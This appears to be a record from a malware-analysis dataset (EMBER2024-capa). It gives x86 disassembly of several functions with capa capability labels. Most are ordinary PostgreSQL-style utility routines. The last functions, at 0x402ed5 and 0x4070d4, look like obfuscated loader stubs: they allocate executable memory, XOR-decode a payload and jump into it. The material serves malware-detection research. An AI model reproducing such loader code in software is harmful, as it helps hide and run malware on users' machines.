joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4125e0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
mov eax, dword [0x4210a8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
mov eax, str.postgres_9.5
push edi
mov edi, dword [ebp + 8]
mov ecx, esi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x412622
test dl, dl
je 0x41261e
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x412622
add ecx, 2
add eax, 2
test dl, dl
jne 0x412602
xor eax, eax
jmp 0x412627
sbb eax, eax
or eax, 1
test eax, eax
je 0x41263a
push 0x41980a
push 0
call fcn.00416dd0
add esp, 8
lea eax, [ebp - 0xc14]
push eax
push edi
call fcn.00412740
add esp, 8
test eax, eax
js 0x412729
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0xc14]
push eax
call fcn.00416420
lea eax, [ebp - 0x814]
push eax
push esi
call sub.libintl_8.dll_libintl_bindtextdomain
push esi
call sub.libintl_8.dll_libintl_textdomain
mov esi, dword [sym.imp.MSVCR120.dll_getenv]
push str.PGLOCALEDIR
call esi
mov edi, dword [sym.imp.MSVCR120.dll__strdup]
add esp, 0x18
test eax, eax
jne 0x4126cd
lea eax, [ebp - 0x814]
push eax
push str.PGLOCALEDIR_s
lea eax, [ebp - 0x414]
push 0x40e
push eax
call fcn.00413380
lea eax, [ebp - 0x408]
push eax
call fcn.00415c40
lea eax, [ebp - 0x414]
push eax
call edi
push eax
call fcn.00416c70
add esp, 0x1c
push str.PGSYSCONFDIR
call esi
add esp, 4
test eax, eax
jne 0x412729
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0xc14]
push eax
call fcn.00416360
lea eax, [ebp - 0x814]
push eax
push str.PGSYSCONFDIR_s
lea eax, [ebp - 0x414]
push 0x40e
push eax
call fcn.00413380
lea eax, [ebp - 0x407]
push eax
call fcn.00415c40
lea eax, [ebp - 0x414]
push eax
call edi
push eax
call fcn.00416c70
add esp, 0x24
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004175a2
mov esp, ebp
pop ebp
ret
Function at 0x412fe0
Capabilities:
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push edi
xor edi, edi
mov dword [ebp - 0x1c], 0xc
push edi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 1
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x18], edi
push eax
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x413016
pop edi
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [ebp - 0xc]
push 2
push 0
push 0
push eax
call esi
push eax
push dword [ebp - 4]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x413052
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 8]
call esi
pop esi
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push dword [ebp - 4]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0x44
lea eax, [ebp - 0x70]
xorps xmm0, xmm0
push 0
push eax
movdqu xmmword [ebp - 0x2c], xmm0
call sub.MSVCR120.dll_memset
mov eax, dword [ebp - 8]
add esp, 0xc
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x70], 0x44
push eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x44], pe_nt_image_headers32
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push dword [ebp + 8]
mov dword [ebp - 0x38], 0xffffffff
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4131bd
mov ebx, dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
push ebx
push 0
push esi
call sub.MSVCR120.dll_memset
dec ebx
add esp, 0xc
add ebx, esi
mov edi, esi
cmp esi, ebx
jae 0x4131ab
lea ebx, [ebx]
push 0x2710
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x413145
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, esi
sub eax, edi
add eax, dword [ebp + 0x10]
push eax
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x413145
mov ecx, edi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413120
sub ecx, edx
add edi, ecx
cmp dword [ebp - 0x10], 0
je 0x413145
push 0xa
push esi
call dword [sym.imp.MSVCR120.dll_strchr]
add esp, 8
test eax, eax
jne 0x413145
cmp edi, ebx
jb 0x4130e0
cmp edi, esi
je 0x4131ab
push 0xa
push esi
call dword [sym.imp.MSVCR120.dll_strchr]
add esp, 8
test eax, eax
je 0x41315d
mov byte [eax + 1], 0
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413162
sub ecx, edx
cmp ecx, 2
jl 0x413186
cmp byte [ecx + esi - 2], 0xd
jne 0x413186
cmp byte [ecx + esi - 1], 0xa
jne 0x413186
mov word [ecx + esi - 2], 0xa
dec ecx
test ecx, ecx
je 0x413191
cmp byte [ecx + esi - 1], 0xa
je 0x4131a7
lea edi, [esi - 1]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x413194
mov ax, word [0x41bc4c]
mov word [edi], ax
mov edi, esi
jmp 0x4131ad
xor edi, edi
push dword [ebp - 0x2c]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [ebp - 0x28]
call ebx
push dword [ebp - 8]
call ebx
push dword [ebp - 0xc]
call ebx
pop ebx
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x413440
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x4210a8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
test eax, eax
jne 0x41347d
call dword [sym.imp.MSVCR120.dll__errno]
mov dword [eax], 0x16
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004175a2
mov esp, ebp
pop ebp
ret
push ebx
push esi
lea esi, [ebp - 0x404]
mov dword [ebp - 0x410], eax
push edx
mov dword [ebp - 0x41c], esi
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x418], esi
lea esi, [ebp - 5]
push ecx
push eax
mov dword [ebp - 0x414], esi
mov dword [ebp - 0x40c], 0
mov byte [ebp - 0x408], 0
call fcn.004135c0
mov esi, dword [ebp - 0x41c]
add esp, 0xc
mov eax, dword [ebp - 0x418]
sub esi, eax
mov bl, byte [ebp - 0x408]
test bl, bl
jne 0x413508
test esi, esi
je 0x413508
push dword [ebp - 0x410]
push esi
push 1
push eax
call dword [sym.imp.MSVCR120.dll_fwrite]
mov ecx, dword [ebp - 0x40c]
add esp, 0x10
add ecx, eax
movzx ebx, bl
cmp eax, esi
mov edx, 1
cmovne ebx, edx
jmp 0x41350e
mov ecx, dword [ebp - 0x40c]
or eax, 0xffffffff
test bl, bl
pop esi
cmovne ecx, eax
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004175a2
mov esp, ebp
pop ebp
ret

Function at 0x413570
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi]
mov eax, dword [esi + 4]
sub edi, eax
cmp byte [esi + 0x14], 0
jne 0x4135ad
test edi, edi
je 0x4135ad
push dword [esi + 0xc]
push edi
push 1
push eax
call dword [sym.imp.MSVCR120.dll_fwrite]
add dword [esi + 0x10], eax
add esp, 0x10
cmp eax, edi
mov eax, dword [esi + 4]
mov dword [esi], eax
je 0x4135af
pop edi
mov byte [esi + 0x14], 1
pop esi
pop ebp
ret
mov dword [esi], eax
pop edi
pop esi
pop ebp
ret
Function at 0x414030
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x18], 0
push ebx
push esi
push edi
je 0x414055
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
mov edi, ecx
test eax, eax
je 0x414067
dec eax
cmp byte [edi], 0
je 0x414067
inc edi
test eax, eax
jne 0x414048
jmp 0x414067
mov edi, dword [ebp + 8]
lea ecx, [edi + 1]
jmp 0x414060
mov al, byte [edi]
inc edi
test al, al
jne 0x414060
mov ebx, dword [ebp + 0x10]
sub edi, ecx
sub ebx, edi
mov eax, 0
cmovs ebx, eax
mov dword [ebp + 0x18], ebx
cmp dword [ebp + 0xc], eax
je 0x414083
neg ebx
mov dword [ebp + 0x18], ebx
mov esi, dword [ebp + 0x1c]
test ebx, ebx
jle 0x4140e4
lea ebx, [ebx]
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4140d5
mov eax, dword [esi]
cmp eax, ecx
jb 0x4140d5
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x4140dc
mov edx, dword [esi + 4]
sub eax, edx
cmp byte [esi + 0x14], 0
mov dword [ebp + 0x18], eax
jne 0x4140d0
test eax, eax
je 0x4140d0
push ecx
push eax
push 1
push edx
call dword [sym.imp.MSVCR120.dll_fwrite]
add dword [esi + 0x10], eax
add esp, 0x10
cmp eax, dword [ebp + 0x18]
je 0x4140d0
mov byte [esi + 0x14], 1
mov eax, dword [esi + 4]
mov dword [esi], eax
mov eax, dword [esi]
mov byte [eax], 0x20
inc dword [esi]
dec ebx
test ebx, ebx
jg 0x414090
mov dword [ebp + 0x18], ebx
push esi
push edi
push dword [ebp + 8]
call fcn.00414710
lea eax, [ebp + 0x18]
push esi
push eax
call fcn.00414970
add esp, 0x14
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4143b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor eax, eax
dec edi
cmovs edi, eax
mov dword [ebp + 0x10], edi
cmp dword [ebp + 0xc], eax
je 0x4143cb
neg edi
mov dword [ebp + 0x10], edi
mov esi, dword [ebp + 0x14]
test edi, edi
jle 0x414424
push ebx
mov eax, dword [esi + 8]
test eax, eax
je 0x414414
mov ebx, dword [esi]
cmp ebx, eax
jb 0x414414
mov eax, dword [esi + 0xc]
test eax, eax
je 0x41441b
mov ecx, dword [esi + 4]
sub ebx, ecx
cmp byte [esi + 0x14], 0
jne 0x41440f
test ebx, ebx
je 0x41440f
push eax
push ebx
push 1
push ecx
call dword [sym.imp.MSVCR120.dll_fwrite]
add dword [esi + 0x10], eax
add esp, 0x10
cmp eax, ebx
je 0x41440f
mov byte [esi + 0x14], 1
mov eax, dword [esi + 4]
mov dword [esi], eax
mov eax, dword [esi]
mov byte [eax], 0x20
inc dword [esi]
dec edi
test edi, edi
jg 0x4143d3
mov dword [ebp + 0x10], edi
pop ebx
mov eax, dword [esi + 8]
test eax, eax
je 0x41443e
cmp dword [esi], eax
jb 0x41443e
cmp dword [esi + 0xc], 0
je 0x414447
push esi
call fcn.00413570
add esp, 4
mov ecx, dword [esi]
mov al, byte [ebp + 8]
mov byte [ecx], al
inc dword [esi]
lea eax, [ebp + 0x10]
push esi
push eax
call fcn.00414970
add esp, 8
pop edi
pop esi
pop ebp
ret

Function at 0x414710
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
test ebx, ebx
jle 0x41478c
push esi
mov esi, dword [ebp + 0x10]
push edi
mov eax, dword [esi + 8]
test eax, eax
je 0x41472b
sub eax, dword [esi]
jmp 0x41472d
mov eax, ebx
test eax, eax
jg 0x414769
mov eax, dword [esi + 0xc]
test eax, eax
je 0x41478a
mov edi, dword [esi]
mov ecx, dword [esi + 4]
sub edi, ecx
cmp byte [esi + 0x14], 0
jne 0x414762
test edi, edi
je 0x414762
push eax
push edi
push 1
push ecx
call dword [sym.imp.MSVCR120.dll_fwrite]
add dword [esi + 0x10], eax
add esp, 0x10
cmp eax, edi
je 0x414762
mov byte [esi + 0x14], 1
mov eax, dword [esi + 4]
mov dword [esi], eax
jmp 0x414786
cmp eax, ebx
mov edi, ebx
cmovl edi, eax
push edi
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.MSVCR120.dll_memmove]
add dword [esi], edi
add esp, 0xc
add dword [ebp + 8], edi
sub ebx, edi
test ebx, ebx
jg 0x414720
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x414820
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
cmp dword [edi], 0
jle 0x4148cc
cmp dword [ebp + 8], 0
je 0x4148cc
mov ebx, dword [ecx]
test ebx, ebx
je 0x414873
mov eax, dword [esi + 8]
test eax, eax
je 0x414865
cmp dword [esi], eax
jb 0x414865
cmp dword [esi + 0xc], 0
je 0x41486b
push esi
call fcn.00413570
mov ecx, dword [ebp + 0xc]
add esp, 4
mov eax, dword [esi]
mov byte [eax], bl
inc dword [esi]
dec dword [edi]
mov dword [ecx], 0
cmp dword [edi], 0
jle 0x4148cc
mov eax, dword [esi + 8]
test eax, eax
je 0x4148b9
mov ebx, dword [esi]
cmp ebx, eax
jb 0x4148b9
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4148c2
mov ecx, dword [esi + 4]
sub ebx, ecx
cmp byte [esi + 0x14], 0
jne 0x4148b4
test ebx, ebx
je 0x4148b4
push eax
push ebx
push 1
push ecx
call dword [sym.imp.MSVCR120.dll_fwrite]
add dword [esi + 0x10], eax
add esp, 0x10
cmp eax, ebx
je 0x4148b4
mov byte [esi + 0x14], 1
mov eax, dword [esi + 4]
mov dword [esi], eax
mov eax, dword [esi]
mov ecx, dword [ebp + 8]
mov byte [eax], cl
inc dword [esi]
dec dword [edi]
cmp dword [edi], 0
jg 0x414878
mov ecx, dword [ebp + 0xc]
xor eax, eax
cmp dword [ecx], eax
setne al
cmp dword [edi], eax
jle 0x41492f
mov eax, dword [esi + 8]
test eax, eax
je 0x41491b
mov ebx, dword [esi]
cmp ebx, eax
jb 0x41491b
mov eax, dword [esi + 0xc]
test eax, eax
je 0x414922
mov ecx, dword [esi + 4]
sub ebx, ecx
cmp byte [esi + 0x14], 0
jne 0x414913
test ebx, ebx
je 0x414913
push eax
push ebx
push 1
push ecx
call dword [sym.imp.MSVCR120.dll_fwrite]
add dword [esi + 0x10], eax
add esp, 0x10
cmp eax, ebx
je 0x414913
mov byte [esi + 0x14], 1
mov eax, dword [esi + 4]
mov ecx, dword [ebp + 0xc]
mov dword [esi], eax
mov eax, dword [esi]
mov byte [eax], 0x20
inc dword [esi]
dec dword [edi]
xor eax, eax
cmp dword [ecx], eax
setne al
cmp dword [edi], eax
jg 0x4148d7
mov ebx, dword [ecx]
test ebx, ebx
je 0x414968
mov eax, dword [esi + 8]
test eax, eax
je 0x41494f
cmp dword [esi], eax
jb 0x41494f
cmp dword [esi + 0xc], 0
je 0x414955
push esi
call fcn.00413570
add esp, 4
mov eax, dword [esi]
mov byte [eax], bl
inc dword [esi]
mov eax, dword [edi]
test eax, eax
jle 0x414963
dec eax
mov dword [edi], eax
pop edi
pop esi
pop ebx
pop ebp
ret
jns 0x414968
inc eax
mov dword [edi], eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x414970
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
cmp dword [ebx], 0
jge 0x4149cf
push esi
mov esi, dword [ebp + 0xc]
push edi
mov eax, dword [esi + 8]
test eax, eax
je 0x4149c2
mov edi, dword [esi]
cmp edi, eax
jb 0x4149c2
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4149c9
mov ecx, dword [esi + 4]
sub edi, ecx
cmp byte [esi + 0x14], 0
jne 0x4149bd
test edi, edi
je 0x4149bd
push eax
push edi
push 1
push ecx
call dword [sym.imp.MSVCR120.dll_fwrite]
add dword [esi + 0x10], eax
add esp, 0x10
cmp eax, edi
je 0x4149bd
mov byte [esi + 0x14], 1
mov eax, dword [esi + 4]
mov dword [esi], eax
mov eax, dword [esi]
mov byte [eax], 0x20
inc dword [esi]
inc dword [ebx]
js 0x414981
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x415490
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4154b4
call dword [sym.imp.MSVCR120.dll__errno]
pop esi
mov dword [eax], 2
xor eax, eax
pop ebp
ret
test al, 0x10
jne 0x4154c9
call dword [sym.imp.MSVCR120.dll__errno]
pop esi
mov dword [eax], 0x14
xor eax, eax
pop ebp
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCR120.dll_malloc]
push 0x114
call edi
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4154f4
call dword [sym.imp.MSVCR120.dll__errno]
pop edi
pop ebx
pop esi
mov dword [eax], 0xc
xor eax, eax
pop ebp
ret
mov ecx, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415500
sub ecx, edx
lea eax, [ecx + 4]
push eax
call edi
mov ecx, eax
add esp, 4
mov dword [ebx], ecx
test ecx, ecx
jne 0x415537
call dword [sym.imp.MSVCR120.dll__errno]
push ebx
mov dword [eax], 0xc
call dword [sym.imp.MSVCR120.dll_free]
add esp, 4
xor eax, eax
pop edi
pop ebx
pop esi
pop ebp
ret
mov edx, ecx
lea esp, [esp]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [edx], al
lea edx, [edx + 1]
test al, al
jne 0x415540
mov edx, ecx
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x415553
sub edx, esi
cmp byte [edx + ecx - 1], 0x2f
je 0x415593
mov edx, ecx
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x415568
sub edx, esi
cmp byte [edx + ecx - 1], 0x5c
je 0x415593
lea edi, [ecx - 1]
jmp 0x415580
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x415580
mov ax, word [0x41f7d8]
mov word [edi], ax
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x415594
mov ax, word [0x41f7dc]
mov edi, ecx
mov dword [ebx + 0x110], 0xffffffff
mov dword [ebx + 4], 0
mov word [edi], ax
xor eax, eax
mov word [ebx + 8], ax
mov eax, ebx
pop edi
pop ebx
pop esi
pop ebp
ret
Function at 0x4155d0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x4210a8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x110]
cmp eax, 0xffffffff
jne 0x41562b
lea eax, [ebp - 0x144]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [edi + 0x110], eax
cmp eax, 0xffffffff
jne 0x415685
call dword [sym.imp.MSVCR120.dll__errno]
pop edi
pop esi
mov dword [eax], 2
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004175a2
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x144]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x415685
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x12
jne 0x415668
call dword [sym.imp.MSVCR120.dll__errno]
pop edi
pop esi
mov dword [eax], 0
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004175a2
mov esp, ebp
pop ebp
ret
call esi
push eax
call fcn.00416f30
add esp, 4
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004175a2
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x118]
lea edx, [edi + 0xc]
mov eax, ecx
mov esi, edx
sub esi, eax
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [esi + ecx - 1], al
test al, al
jne 0x415694
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4156a4
sub edx, ecx
lea eax, [edi + 4]
mov ecx, dword [ebp - 4]
mov word [edi + 0xa], dx
xor ecx, ebp
pop edi
pop esi
call fcn.004175a2
mov esp, ebp
pop ebp
ret
Function at 0x416c70
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edi, edi
cmp dword [str.msvcrt], edi
je 0x416d10
mov eax, 0x421030
xor esi, esi
nop
cmp dword [esi + 0x421038], 0
jne 0x416cee
cmp dword [esi + 0x421034], 0
jne 0x416cfa
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esi + 0x421034], eax
test eax, eax
jne 0x416cc0
mov dword [esi + 0x421034], 0xffffffff
jmp 0x416cfa
push 0x41f9e0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 0x421038], eax
test eax, eax
jne 0x416cee
push dword [esi + 0x421034]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x421034], 0xffffffff
jmp 0x416cfa
mov eax, dword [esi + 0x421038]
push ebx
call eax
add esp, 4
inc edi
lea esi, [edi + edi*2]
shl esi, 2
cmp dword [esi + 0x421030], 0
lea eax, [esi + 0x421030]
jne 0x416c90
push ebx
call dword [sym.imp.MSVCR120.dll__strdup]
mov esi, eax
add esp, 4
test esi, esi
je 0x416d3c
push 0x3d
push esi
call dword [sym.imp.MSVCR120.dll_strchr]
mov edx, eax
add esp, 8
test edx, edx
jne 0x416d46
push esi
call dword [sym.imp.MSVCR120.dll_free]
add esp, 4
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [edx], 0
inc edx
mov ecx, edx
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416d50
sub ecx, edi
je 0x416d67
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x416d32
push esi
call dword [sym.imp.MSVCR120.dll_free]
push ebx
call dword [sym.imp.MSVCR120.dll__putenv]
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x402ee4
pop dword [ebp - 0x20]
mov eax, 0xe4616af6
add eax, 0x1bdec3ee
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x1e61a9ee
sub dword [ebp - 0x30], 0xd00f64a3
mov dword [ebp - 0x2c], 0x472f93d2
add dword [ebp - 0x2c], 0xeb03b873
mov dword [ebp - 0x28], 0xac46cef4
sub dword [ebp - 0x28], 0x5ffa8ac6
mov dword [ebp - 0x24], 0xe7da6ae6
add dword [ebp - 0x24], 0x1825951a
lea eax, [ebp - 0x30]
push eax
mov eax, 0xac6cc55d
sub eax, 0xac2c4459
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x32b50f87
add dword [ebp - 0x30], 0x41bd59cf
mov dword [ebp - 0x2c], 0x6680d4c6
add dword [ebp - 0x2c], 0xdaeb8caf
mov dword [ebp - 0x28], 0x8863fd48
add dword [ebp - 0x28], 0xdb0b6f24
mov dword [ebp - 0x24], 0xb604e440
add dword [ebp - 0x24], 0x49fb1bc0
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xb3456259
sub eax, 0xb304e159
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x399a7
push 0
call eax
mov ecx, 0x5245
mov edi, eax
mov edx, 0x432f1853
sub edx, 0x42e83453
add edx, dword [ebp - 0x20]
mov esi, 0x1c6952e4
mov ebx, dword [edx]
sub dword [ebp - 8], 0x42dc6714
xor ebx, esi
sub dword [ebp - 0x1c], 0x3a894aa0
mov dword [edi], ebx
add dword [ebp - 0x14], 0xef468cb1
add edi, 0x521729cf
sub edi, 0x521729cb
add edx, 0xb5a1f2c9
sub edx, 0xb5a1f2c5
loop 0x402ffa
add eax, 0x7e3a1436
add eax, 0x81c727b1
mov ebx, eax
add eax, 5
mov ecx, 0x2e8bf0e7
add ecx, 0xd1b40f19
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x4070d4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x4070e3
pop dword [ebp - 0x48]
mov eax, 0xad606677
add eax, 0x52e00a6c
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xd2ecbcd1
add dword [ebp - 0x58], 0x7b65887a
mov dword [ebp - 0x54], 0x42a5ee07
add dword [ebp - 0x54], 0xef8d5e3e
mov dword [ebp - 0x50], 0xdd2b2b4a
sub dword [ebp - 0x50], 0x90dee71c
mov dword [ebp - 0x4c], 0x243853d2
sub dword [ebp - 0x4c], 0x243853d2
lea eax, [ebp - 0x58]
push eax
mov eax, 0xa722d756
add eax, 0x591da9ae
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x1b0e1d58
add dword [ebp - 0x58], 0x59644bfe
mov dword [ebp - 0x54], 0xd5aa6367
add dword [ebp - 0x54], 0x6bc1fe0e
mov dword [ebp - 0x50], 0xbe2e204c
sub dword [ebp - 0x50], 0x5abeb3e0
mov dword [ebp - 0x4c], 0x514a20dd
add dword [ebp - 0x4c], 0xaeb5df23
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xcd3b03a2
add eax, 0x33057d5e
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x34990
push 0
call eax
mov ecx, 0x3e29
mov edx, eax
mov esi, 0x450400
add esi, dword [ebp - 0x48]
mov ebx, 0x43c1b966
xor dword [ebp - 8], 0x8b139820
mov edi, dword [esi]
mov dword [ebp - 0x24], 0xc392dd1f
sub edi, ebx
sub dword [ebp - 0x24], 0x1099e5af
mov dword [edx], edi
sub dword [ebp - 0x34], 0x20ebf7fe
add edx, 4
add esi, 4
loop 0x4071f3
add eax, 0xf1d961a7
add eax, 0xe2789d0
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret